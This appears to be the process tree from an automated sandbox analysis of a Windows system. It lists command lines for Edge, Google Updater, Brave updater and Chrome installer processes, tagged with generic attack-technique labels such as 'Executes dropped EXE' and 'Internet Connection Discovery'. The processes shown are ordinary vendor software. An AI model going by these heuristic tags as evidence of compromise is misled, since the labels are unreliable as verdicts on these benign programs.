C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x328,0x7ffaf4bac188,0x7ffaf4bac194,0x7ffaf4bac1a06⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1844,i,6379956546058268873,15550043623672225202,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:116⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1708,i,174456162037601673,1634010715860580128,262144 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=3152 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2300,i,17455101384650279772,7700916849925002358,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=3292 /prefetch:136⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4424,i,9792897491183123371,11421616297147203550,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4424,i,9792897491183123371,11421616297147203550,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=600,i,7940564156942889438,10386671346416955570,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4900 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4520,i,2081223198607732788,14204970430427519113,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4948 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4424,i,6063688752444895146,1691564590244781953,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5040,i,16029502849613389019,16106835855129207061,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=5044 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5116,i,14418428334187725460,10663192862311777680,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5108,i,8729519498087547360,11733679656219943612,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=5044 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4388,i,16359599813865832513,10833140437693700353,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4992 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5136,i,18337148754328858414,15896373575864063751,262144 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:106⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5136,i,11618897842670620854,11906223750158444690,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3724,i,382972769714645817,10663471450224737292,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2884,i,9802786340748513192,1505806466519076204,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4004 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4024,i,4737109737741906651,12591503833684414119,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4124 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3992,i,3086187578438527765,4738637172559390526,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4000 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3804,i,1055746973193015200,16715770533019157087,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5236,i,3893882934239470718,3491564896732526983,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5160,i,13770549411881024995,11761311286935129481,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4288,i,15880108863056749290,9621497081335845084,524288 --field-trial-handle=3156,i,9728493580332087966,4806661887602621904,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:146⤵
-
-
-
-
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --wake --system3⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0x8212f4,0x821300,0x82130c4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Program Files\Google\Chrome\Application\150.0.7871.47\elevation_service.exe"C:\Program Files\Google\Chrome\Application\150.0.7871.47\elevation_service.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --system --windows-service --service=update-internal1⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2b0,0x2b4,0x2b8,0x2ac,0x2bc,0x8212f4,0x821300,0x82130c2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --system --windows-service --service=update1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x9c,0x2b8,0x8212f4,0x821300,0x82130c2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --uninstall-if-unused --system2⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Executes dropped EXE
- Checks whether UAC is enabled
- Modifies registry class
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0x8212f4,0x821300,0x82130c3⤵
- Drops file in Windows directory
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /Q /C ""C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\uninstall.cmd" --dir="C:\Program Files (x86)\Google\GoogleUpdater""3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "C:\Program Files (x86)\Google\GoogleUpdater" "4⤵
-
-
C:\Windows\SysWOW64\findstr.exeFindStr /L \Google\GoogleUpdater4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\System32\oobe\UserOOBEBroker.exeC:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /c1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /cr2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveCrashHandler.exe"C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveCrashHandler.exe"2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveCrashHandler64.exe"C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveCrashHandler64.exe"2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /ua /installsource core2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /ua /installsource scheduler1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /svc1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --system --windows-service --service=update-internal1⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Checks whether UAC is enabled
- Modifies registry class
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2bc,0x2c0,0x2c4,0x2b8,0x2c8,0x5f12f4,0x5f1300,0x5f130c2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --system --windows-service --service=update1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0x5f12f4,0x5f1300,0x5f130c2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --unzip-worker --system --mojo-platform-channel-handle=18922⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2b0,0x2b4,0x2b8,0x2ac,0x2bc,0x5f12f4,0x5f1300,0x5f130c3⤵
- Drops file in Windows directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\150.0.7871.47_chrome_installer_uncompressed.exe"C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\150.0.7871.47_chrome_installer_uncompressed.exe" --verbose-logging --do-not-launch-chrome --channel=stable2⤵
- Executes dropped EXE
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\CR_4185D.tmp\setup.exe"C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\CR_4185D.tmp\setup.exe" --uncompressed-archive="C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\CR_4185D.tmp\CHROME.7Z" --verbose-logging --do-not-launch-chrome --channel=stable3⤵
- Boot or Logon Autostart Execution: Active Setup
- Drops file in Program Files directory
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- Modifies registry class
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\CR_4185D.tmp\setup.exeC:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\CR_4185D.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=150.0.7871.47 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2a0,0x2a4,0x2a8,0x27c,0x2ac,0x7ff7f2be8980,0x7ff7f2be898c,0x7ff7f2be89984⤵
-
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\CR_4185D.tmp\setup.exe"C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\CR_4185D.tmp\setup.exe" --channel=stable --system-level --verbose-logging --create-shortcuts=0 --install-level=14⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
